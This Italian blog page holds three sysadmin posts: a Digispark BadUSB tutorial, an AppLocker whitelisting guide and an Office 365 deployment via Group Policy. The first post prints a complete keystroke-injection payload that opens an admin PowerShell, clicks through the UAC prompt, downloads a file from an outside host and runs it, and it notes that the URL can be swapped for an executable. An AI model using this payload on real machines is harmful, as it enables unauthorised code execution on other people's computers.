lunedì 31 agosto 2020

Digispark, Download ed esecuzione di un file tramite PowerShell

In questo articolo riprendo il discorso sulla Rubber Ducky economica utilizzando una scheda Digispark trattato un pò di tempo fa. Per chi si fosse perso gli articoli precedenti, li riporto di seguito in ordine cronologico:

Creare una Rubber Ducky economica con una scheda Digispark

Digispark, modificare il file HOSTS in Windows 10

Digispark, Modificare l'immagine di sfondo di Windows 

Digispark Kickstarter
FIG 1 - Digispark Kickstarter

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

In questo articolo verrà mostrato un nuovo payload che consente di scaricare un file ed eseguirlo attraverso l'utilizzo di PowerShell. Per caricare il nostro programma sulla scheda è necessario installare l'ambiente Arduino IDE e i driver della scheda Digispark. Per l'installazione/configurazione dell'ambiente di sviluppo, per le informazioni sulla scheda Digispark e per l'installazione dei driver rimando al primo articolo.


Per la programmazione del dispositivo:
  • Scaricare il file Digispark_Download_Run_File.zip dal seguente link 
    DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_Download_Run_File.ino per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.
Digispark, Download ed esecuzione di un file
FIG 2 - Digispark, Download ed esecuzione di un file

Terminato il caricamento, la scheda è pronta per essere usata. Basterà collegarla ad un PC con sistema operativo Windows 7/8/10 per eseguire il download e l'esecuzione del file specificato.

Il payload è molto semplice:
#include "KeyboardIT.h"
void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  //mostra desktop
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  // start->Esegui
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("powershell Start-Process powershell -Verb runAs");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(5000);
  //script PowerShell
  DigiKeyboard.print("$download = New-Object System.Net.WebClient; $url = 'http://www.pdf995.com/samples/pdf.pdf'; 
     $file = 'f:\\pdf.pdf'; $download.DownloadFile($url,$file); $exec = New-Object -com shell.application; 
     $exec.shellexecute($file); exit;");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);

  for(;;){ /*empty*/ }
}

L'istruzione 
DigiKeyboard.print("powershell Start-Process powershell -Verb runAs");
consente di eseguire PowerShell come amministratore ma il cuore del programma è rappresentato dalla seguente istruzione 
DigiKeyboard.print("$download = New-Object System.Net.WebClient; $url = 'http://www.pdf995.com/samples/pdf.pdf'; $file = 'f:\\pdf.pdf'; $download.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file); exit;");
che, tramite l'utilizzo di PowerShell, consente di eseguire il download del file indicato da $url, salvarlo in locale nel percorso e con il nome indicato da $file e aprirlo/eseguirlo con l'istruzione $exec.shellexecute($file).
Modificando i valori di $url $file possiamo fare in modo di scaricare un file eseguibile da un server e mandarlo in esecuzione sulla postazione.





venerdì 28 agosto 2020

Windows Server 2019: AppLocker

Per questioni di sicurezza gli utenti che non dispongono dei privilegi amministrativi non possono installare software sul computer. Se un utente, non amministratore, tenta di installare un software sul PC visualizzerà un messaggio simile a quello mostrato in FIG 1. Tuttavia alcuni software, come quelli portable, possono essere installati anche da utenti che non dispongono di privilegi amministrativi. 
Privilegi insufficienti
FIG 1 Privilegi insufficienti per l'installazione

Per impedire agli utenti di eseguire/installare software non autorizzato è possibile utilizzare AppLocker.
AppLocker è una tecnologia introdotta con il sistema operativo Windows 7 che consente agli amministratori di specificare, in una sorta di whitelist, tutte le applicazioni autorizzate (tramite il nome, il path, l'autore o l'hash del file) e in un ambiente enterprise può essere configurato e distribuito tramite i criteri di gruppo.

Per correre ai ripari gli amministratori possono creare un criterio di gruppo per tutti gli utenti:
  • Da Server Manager, cliccare su Strumenti quindi su Gestione Criteri di gruppo.
    Server Manager
    FIG 2 - Server Manager
  • Cliccare, con il tasto destro del mouse, sul dominio mycompany.local (o sull'unità organizzativa a cui si intende applicare il criterio di gruppo) quindi dal menu contestuale selezionare Crea un oggetto Criteri di gruppo in questo dominio e crea qui un collegamento....
    Gestione Criteri di gruppo
    FIG 3 - Gestione Criteri di gruppo
  • Specificare il nome che si desidera assegnare all'oggetto Criteri di gruppo ad es. GPO_AppLocker e cliccare su OK.
    Nome da assegnare al nuovo oggetto criteri di gruppo
    FIG 4 - Nome da assegnare al nuovo oggetto criteri di gruppo
  • Cliccare con il tasto destro del mouse sul criterio di gruppo appena creato e selezionare Modifica
    Modifica GPO
    FIG 5 - Modifica GPO
  • Posizionarsi su Configurazione computer -> Criteri -> Impostazioni di Windows -> Impostazioni sicurezza -> Criteri di controllo delle applicazioni -> AppLocker
  • Cliccare sul link Configura imposizione regole o, in alternativa, cliccare con il tasto destro del mouse su AppLocker e selezionare Proprietà dal menu contestuale.
    AppLocker
    FIG 6 - AppLocker
  • Come visibile in FIG 7 è possibile impostare regole per gli eseguibili, regole di Windows Installer, Regole script e Regole app in pacchetto. Selezionare tutte le caselle Configurate e lasciare impostata l'opzione Imponi regole per forzare l'applicazione delle regole e impedire l'esecuzione dei programmi non autorizzati. Selezionando Controlla soltanto al posto di Imponi regole, gli utenti potranno eseguire comunque le applicazioni ma viene generato un file di log con il nome dell'applicazione e l'utente che l'ha eseguita. Cliccare su OK.
    AppLocker, Configura imposizione regole
    FIG 7 - AppLocker, Configura imposizione regole
  • Cliccare su AppLocker quindi doppio click su Regole eseguibili.
  • Cliccare, con il tasto destro del mouse, su Regole eseguibili e selezionare Crea regole predefinite. Come visibile in FIG 9, tutti gli utenti sono autorizzati ad eseguire solo i file che si trovano all'interno della cartella Programmi e alla cartella Windows mentre gli amministratori possono eseguire qualsiasi file senza restrizione.
    Regole eseguibili, Crea regole predefinite
    FIG 8 - Regole eseguibili, Crea regole predefinite

    Regole predefinite
    FIG 9 - Regole predefinite
  • Fare lo stesso per gli altri tipi di file (Regole di Windows Installer, Regole script, Regole app in pacchetto).
  • Ora che le regole predefinite sono state create, supponiamo di voler aggiungere un ulteriore restrizione bloccando l'esecuzione di un ulteriore applicazione come Internet Explorer. Cliccare, con il tasto destro del mouse, su Regole eseguibili e selezionare Crea nuova regola.
    AppLocker, Crea nuova regola
    FIG 10 - AppLocker, Crea nuova regola
  • Verrà visualizzata la schermata del Wizard che ci guiderà nella creazione della nuova regola. Cliccare su Avanti.
    AppLocker, Wizard per la creazione nuova regola
    FIG 11 - AppLocker, Wizard per la creazione nuova regola
  • Selezionare l'opzione Nega. Cliccare sul pulsante Seleziona se si intende impostare la restrizione per uno specifico gruppo di utenti. In questo caso lasciare selezionato Everyone e cliccare su Avanti per proseguire.
    AppLocker, Autorizzazioni
    FIG 12 - AppLocker, Autorizzazioni
  • Nella schermata successiva ci vengono proposti 3 modi per identificare il programma da bloccare: tramite Autore, Percorso o Hash file. Il blocco tramite Hash file consente di bloccare l'esecuzione di un singolo file. Il blocco agisce sulla specifica versione del file. Ad esempio se blocchiamo il file eseguibile di Internet Explorer versione 10, il blocco non funzionerà sulla versione 11 del file. Selezionare Autore e cliccare su Avanti.
    AppLocker, Condizioni
    FIG 13 - AppLocker, Condizioni
  • Cliccare sul pulsante Sfoglia per aprire la finestra di selezione del file da bloccare.
    AppLocker, File di riferimento
    FIG 14 - AppLocker, File di riferimento
  • Accedere alla cartella Internet Explorer all'interno della cartella Programmi e selezionare il file iexplore quindi cliccare su Apri.
    AppLocker, Iexplore
    FIG 15 -  AppLocker, Iexplore
  • Spostando la slide possiamo personalizzare il livello di blocco. Ad es. spostando di una posizione in alto la slide, il contenuto della casella versione file viene sostituito da un * (si veda FIG 17) ad indicare che il blocco agisce su tutte le versioni del file. Cliccare su Avanti per procedere nella configurazione della regola.
    AppLocker, Proprietà regola
    FIG 16 - AppLocker, Proprietà regola

    AppLocker, Poprietà regola
    FIG 17 - AppLocker, Poprietà regola
  • Cliccare su Crea.
    AppLocker, Crea Regola
    FIG 18 - AppLocker, Crea Regola

    AppLocker, Regola creata
    FIG 19 - AppLocker, Regola creata
  • Prima di terminare bisogna attivare Identità applicazione in modo che il sistema riesca ad identificare un'applicazione tramite il nome, l'autore ecc. Selezionare Servizi sistema quindi eseguire un doppio click su Identità applicazione.
    Identità applicazione
    FIG 20 - Identità applicazione
  • Selezionare la casella Definisci le impostazioni relative al criterio, quindi selezionare l'opzione Automatica e cliccare su OK.
    Attiva Identità applicazione
    FIG 21 - Attiva Identità applicazione
  • Chiudere la finestra Editor Gestione Criteri di gruppo.
  • Nella finestra Gestione Criteri di gruppo cliccare con il tasto destro del mouse sul criterio GPO_AppLocker e selezionare Imposto.
    GPO, Imposto
    FIG 22 - GPO, Imposto


Dopo aver configurato AppLocker gli utenti non amministratore non potranno più eseguire applicazioni non autorizzate come Internet Explorer o applicazioni portable.
AppLocker, App bloccata dall'amministratore
FIG 23 - AppLocker, App bloccata dall'amministratore








martedì 25 agosto 2020

Windows Server 2019: Installare Office 365 tramite Criteri di gruppo (GPO)

Come mostrato nei precedenti articoli, per poter installare un software tramite i criteri di gruppo è necessario "preparare" i file per l'installazione. Office 365 non fa eccezione a tale regola. Di seguito verranno mostrati i passaggi per preparare i file di installazione di Office 365, creare lo script di installazione e il Criterio di gruppo che lo eseguirà per l'installazione del software sul computer.

Predisposizione file di installazione di Office 365
  • Il primo passo consiste nel procurarsi l'Office Deployment Tool (ODT), un tool a riga di comando utilizzato per scaricare e distribuire le applicazioni Office 365 sui computer client. Il tool consente di avere un maggior controllo sull'installazione di Office sui computer client permettendo di personalizzare le applicazioni, la lingua, di definire la modalità degli aggiornamenti e l'installazione silente. Dal proprio browser ricercare Office Deployment Tool. Tra i primi troviamo la pagina ufficiale Microsoft da cui prelevare il tool, accedere alla pagina e cliccare sull'apposito tasto per procedere al download.
    Office Deployment Tool
    FIG 1 - Office Deployment Tool
  • Eseguire il file appena scaricato. Accettare le condizioni di licenza selezionando l'apposita casella e cliccare su Continue.
    Office Deployment Tool Condizioni Licenza
    FIG 2 - Office Deployment Tool Condizioni Licenza
  • Selezionare la cartella in cui si vuole estrarre il contenuto del file e cliccare su OK. Un messaggio ci avviserà che l'operazione è terminata, cliccare su OK per chiudere la finestra di dialogo.
    Office Deployment Tool Estrazione file
    FIG 3 - Office Deployment Tool Estrazione file
  • All'interno della cartella saranno creati quattro file: un file di setup (setup.exe) e tre file di configurazione in formato XML (configuration-Office365-x64.xmlconfiguration-Office365-x86.xmlconfiguration-Office2019Enterprise.xml). In quest'articolo non prenderemo in considerazione la distribuzione/installazione di office 2019 Enterprise pertanto il file configuration-Office2019Enterprise.xml può essere cancellato.
    File di Office Deployment Tool
    FIG 4 - File di Office Deployment Tool
  • Per tenere separati i file di installazione della versione a 32 bit di office da quella a 64 bit, creare due cartelle e rinominarle in 32-bit e 64-bit.
  • Selezionare i file setup.exe configuration-Office365-x86.xml e copiarli all'interno della cartella 32-bit.
    Cartella 32-bit
    FIG 5 - Cartella 32-bit
  • Allo stesso modo, copiare i file setup.execonfiguration-Office365-x64.xml all'interno della cartella 64-bit.
  • Posizionarsi nella cartella 32-bit. Cliccare con il tasto destro del mouse sul file configuration-Office365-x86.xml e selezionare Modifica.
  • Come visibile all'interno del file, oltre all'installazione di Office 365, viene anche installato il software Visio. Eliminare le righe relative all'installazione di Visio.
  • Nella riga Language ID sostituire en-us con it-it per installare la lingua italiana. Salvare il file.
    Modifica file configuration-Office365-x86.xml
    FIG 6 - Modifica file configuration-Office365-x86.xml
  • Eseguire la stessa operazione con il file configuration-Office365-x64.xml presente all'interno della cartella 64-bit.
  • La prossima operazione consiste nel procedere al download dei file di installazione eseguendo il file setup.exe da riga di comando. Avviare il Prompt dei comandi e posizionarsi nuovamente all'interno della cartella 32-bit
  • Digitare ed eseguire il comando
    setup.exe /download configuration-Office365-x86.xml 
    Il comando avvia il download dei file di installazione della versione a 32 bit di Office.
  • Al termine del download, all'interno della cartella 32-bit, troveremo una cartella nominata Office contenente i file di installazione.
    Download Office 365 32 bit completato
    FIG 7 - Download Office 365 32 bit completato
  • Procedere in modo analogo anche con il file all'interno della cartella 64-bit. in questo caso il comando da eseguire è
    setup.exe /download configuration-Office365-x64.xml 


Creazione Script per l'installazione di Office 365 a 32 e a 64 bit
  • Per la corretta installazione di Office 365 è necessario andare a modificare nuovamente il file xml relativo alla configurazione. Accedere alla cartella 32-bit, cliccare con il tasto destro del mouse sul file configuration-Office365-x86.xml e selezionare Modifica.
  • All'interno dei file XML i commenti sono racchiusi tra <!-- e -->.  Rimuovere tali caratteri dalle ultime righe presenti all'interno del file in modo che non vengano considerate dei commenti e salvare le modifiche.
    Decommentare le righe all'interno del file di configurazione
    FIG 8 - Decommentare le righe all'interno del file di configurazione
  • Fare lo stesso con il file configuration-Office365-x64.xml all'interno della cartella 64-bit.
  • Nella cartella condivisa \\SERVER1DC\Cartella condivisa creare la cartella Office e copiare al suo interno le cartelle 32-bit e 64-bit
  • Aprire Blocco note e digitare
    "\\SERVER1DC\Cartella Condivisa\Office\32-bit\setup.exe" /configure "\\SERVER1DC\Cartella Condivisa\Office\32-bit\configuration-Office365-x86.xml"
  • Salvare il file all'interno della cartella 32-bit assegnandogli il nome install32.bat.
  • Proceder in maniera analoga con la versione a 64 bit di Office 365. Aprire nuovamente Blocco note digitare
    "\\SERVER1DC\Cartella Condivisa\Office\64-bit\setup.exe" /configure "\\SERVER1DC\Cartella Condivisa\Office\64-bit\configuration-Office365-x64.xml" 
  • Salvare il file all'interno della cartella 64-bit assegnandogli il nome install64.bat.



Creazione GPO per l'installazione di Office 365
  • Da Server Manager, cliccare su Strumenti quindi su Gestione Criteri di gruppo.
    Server Manager
    FIG 9 - Server Manager
  • Cliccare, con il tasto destro del mouse, sul dominio mycompany.local quindi dal menu contestuale selezionare Crea un oggetto Criteri di gruppo in questo dominio e crea qui un collegamento....
    Gestione Criteri di gruppo
    FIG 10 - Gestione Criteri di gruppo
  • Specificare il nome che si desidera assegnare all'oggetto Criteri di gruppo ad es. GPO_Installazione_Office365_64bit e cliccare su OK.
    Nome Criterio di Gruppo
    FIG 11 - Nome Criterio di Gruppo
  • Cliccare con il tasto destro del mouse sul criterio di gruppo appena creato e selezionare Modifica.
    Modifica criterio di gruppo
    FIG 12 - Modifica criterio di gruppo
  • Posizionarsi su Configurazione computer -> Criteri -> Impostazioni di Windows -> Script(Avvio/Arresto) ed eseguire un doppio click su avvio.
    Script di avvio
    FIG 13 - Script di avvio
  • Cliccare sul pulsante Visualizza file.
    Proprietà avvio, Visualizza file
    FIG 14 - Proprietà avvio, Visualizza file
  • All'interno della cartella che viene aperta copiamo il file install64.bat che abbiamo creato precedentemente e che si trova in \\SERVER1DC\Cartella Condivisa\Office\64-bit\.
    Copia file Install64.bat
    FIG 15 - Copia file Install64.bat
  • Nella finestra Proprietà - avvio, cliccare sul pulsante Aggiungi.
    Proprietà avvio, Aggiungi
    FIG 16 - Proprietà avvio, Aggiungi
  • Cliccare sul pulsante Sfoglia.
    Aggiunta script, sfoglia
    FIG 17 -  Aggiunta script, sfoglia
  • Selezionare il file install64.bat e cliccare su Apri.
    Selezione script Install64.bat
    FIG 18 - Selezione script Install64.bat
  • Nella finestra Aggiunta script cliccare su OK.
    Aggiunta script
    FIG 19 - Aggiunta script
  • Nella finestra Proprietà - avvio cliccare su OK.
    Proprietà avvio
    FIG 20 - Proprietà avvio
  • Posizionarsi su Configurazione computer -> Criteri -> Modelli amministrativi -> Sistema -> Script ed eseguire un doppio click su Specifica il tempo massimo di attesa per gli script Criteri di gruppo.
    Specifica il tempo massimo di attesa per gli script Criteri di gruppo
    FIG 21 - Specifica il tempo massimo di attesa per gli script Criteri di gruppo
  • Questa impostazione dei criteri determina il tempo di attesa da parte del sistema per l'esecuzione degli script applicati da Criteri di gruppo. Se l'esecuzione degli script non è stata completata entro il limite di tempo specificato, l'elaborazione degli script verrà interrotta e verrà registrato un evento di errore. Selezionate Attivata e nella casella Secondi specificare 3600 quindi salvare la modifica cliccando su OK.
    Attiva tempo massimo per l'esecuzione degli script
    FIG 22 - Attiva tempo massimo per l'esecuzione degli script
  • Spostarsi su Configurazione computer -> Criteri -> Impostazioni di Windows -> Impostazioni sicurezza -> Criteri locali -> Opzioni di sicurezza. Cliccare due volte su Controllo account utente: comportamento della richieste di elevazione dei privilegi per gli amministratori in modalità Approvazione amministratore.
    Elevazione dei privilegi per gli amministratori in modalità Approvazione amministratore
    FIG 23 - Elevazione dei privilegi per gli amministratori in modalità Approvazione amministratore
  • Selezionare la casella Definisci le impostazioni relative al criterio, assicurarsi che sia selezionata Esegui con privilegi elevati senza chiedere conferma e cliccare su OK.
    Esegui con privilegi elevati senza chiedere conferma
    FIG 24 - Esegui con privilegi elevati senza chiedere conferma
  • Cliccare due volte su Controllo account utente: modalità Approvazione amministratore per l'account amministratore predefinito.
    modalità Approvazione amministratore per l'account amministratore predefinito
    FIG 25 - Modalità Approvazione amministratore per l'account amministratore predefinito
  • Selezionare la casella Definisci le impostazioni relative al criterio, quindi selezionare l'opzione Disabilitate e cliccare su OK. In questo modo lo script sarà eseguito anche se l'utente che effettua il logon non ah privilegi amministrativi.
    Definisci le impostazioni relative al criterio
    FIG 26 - Definisci le impostazioni relative al criterio 
  • Chiudere la finestra Editor Gestione Criteri di gruppo.
  • Selezionare il criterio di gruppo appena creato. Per fare in modo che lo script venga eseguito solo su computer con sistema operativo a 64 bit selezionare, nella sezione Filtri WMI, il filtro Windows 64 bit (creato nell'articolo Windows Server 2019: Installare software tramite GPO in base alla versione del Sistema operativo  e all'architettura).
    Applicazione filtro WMI al criterio di gruppo
    FIG 27 - Applicazione filtro WMI al criterio di gruppo
  • Confermare la modifica cliccando sul pulsante SI.
    Richiesta di conferma modifica filtro WMI
    FIG 28 - Richiesta di conferma modifica filtro WMI
  • Cliccare, con il tasto destro del mouse, sul criterio di gruppo GPO_Installazione_Office365_64bit e selezionare Imposto per forzare l'esecuzione.
    Imposto
    FIG 29 - Imposto
Procedere in maniera analoga per creare il Criterio di gruppo relativo all'installazione di Office 365 a 32 bit. L'installazione di Office 365 sui computer avverrà in maniera silente: non verrà visualizzato alcun messaggio agli utenti loggati.


Windows 10 - Installazione di Office 365 tramite criteri di gruppo
FIG 30 - Windows 10 - Installazione di Office 365 tramite criteri di gruppo